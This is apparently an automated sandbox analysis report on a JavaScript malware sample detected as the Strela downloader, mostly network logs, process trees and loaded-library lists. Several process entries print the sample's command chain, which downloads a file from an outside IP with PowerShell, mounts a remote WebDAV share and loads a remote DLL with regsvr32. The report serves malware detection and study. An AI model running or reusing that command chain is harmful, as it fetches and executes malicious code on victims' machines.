HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000003.2078541682.0000024B75E7C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.2140800366.0000016A80663000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.2140800366.0000016A80663000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/=d
Source: net.exe, 00000007.00000002.2140800366.0000016A80663000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/Yd
Source: net.exe, 00000007.00000002.2140800366.0000016A80663000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/n
Source: svchost.exe, 00000009.00000002.3377061747.000002697CEA6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod/C:
Source: svchost.exe, 00000009.00000003.2156098998.000002697E600000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: qmgr.db.9.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe/C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 1852, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12733534724868.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12733534724868.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 1474915939307712026.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@28/53@3/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6388:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ir2nvigf.nwd.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1474915939307712026.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12733534724868.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=1632 --field-trial-handle=1528,i,9385316614471311670,4180965964798409731,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12733534724868.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=1632 --field-trial-handle=1528,i,9385316614471311670,4180965964798409731,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
